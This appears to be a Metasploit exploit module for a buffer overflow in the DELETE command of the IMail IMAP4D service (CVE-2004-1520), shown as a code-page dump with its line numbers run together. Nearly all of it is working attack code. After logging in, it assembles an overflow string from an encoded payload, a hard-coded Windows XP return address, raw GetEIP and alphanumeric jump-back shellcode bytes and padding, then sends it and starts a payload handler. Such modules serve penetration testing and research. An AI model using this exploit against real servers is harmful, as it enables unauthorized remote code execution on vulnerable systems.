Path: blob/master/modules/exploits/windows/imap/imail_delete.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(12update_info(13info,14'Name' => 'IMail IMAP4D Delete Overflow',15'Description' => %q{16This module exploits a buffer overflow in the 'DELETE'17command of the IMail IMAP4D service. This vulnerability18can only be exploited with a valid username and password.19This flaw was patched in version 8.14.20},21'Author' => [ 'spoonm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2004-1520'],25[ 'OSVDB', '11838'],26[ 'BID', '11675'],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 614,34'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),35'StackAdjustment' => -3500,36'EncoderOptions' =>37{38'BufferRegister' => 'EDX',39}40},41'Platform' => 'win',42'Targets' => [43# alphanum rets :(, will look more into it later44['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],45],46'DisclosureDate' => '2004-11-12',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)55end5657def exploit58connect_login5960print_status("Sending overflow string...")61req = 'A683 DELETE '62req << payload.encoded6364# Jump over code65req << "\x74\x32\x75\x30"66req << [target.ret].pack('V')67req << rand_text_alphanumeric(44)6869# GetEIP code70req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"71req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"7273# Alphanumeric jmp back (edx context)74req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"75req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"76req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"77req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"7879# Run off the stack, so we don't kill our payload, or something...80req << rand_text_alphanumeric(600)8182# Terminate the request83req << "\r\n"8485sock.put(req)8687handler88disconnect89end90end919293